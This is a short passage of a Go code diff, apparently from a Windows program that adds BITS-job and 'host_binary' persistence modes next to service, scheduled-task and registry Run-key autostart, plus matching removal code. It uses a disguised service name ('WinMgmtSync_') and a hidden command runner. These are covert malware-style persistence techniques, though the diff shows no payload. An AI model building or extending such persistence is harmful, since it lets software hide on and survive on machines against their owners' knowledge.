if err := createScheduledTask(cfg, installedBin); err != nil {
|
||||
|
||||
@@ -34,6 +34,10 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
switch cfg.RunAs {
|
||||
case "bits":
|
||||
return CreateBITSPersistence(cfg, installedBin)
|
||||
case "host_binary":
|
||||
return EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget)
|
||||
case "service":
|
||||
return createWindowsService(cfg, installedBin)
|
||||
case "scheduled":
|
||||
@@ -120,6 +124,8 @@ func removePersistence(cfg config.RuntimeConfig) {
|
||||
runKey.Close()
|
||||
}
|
||||
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
|
||||
RemoveBITSPersistence(cfg)
|
||||
RemoveHostBinaryPersistence(cfg)
|
||||
svcName := cfg.ServiceName
|
||||
if svcName == "" {
|
||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
|
||||
Reference in New Issue
Block a user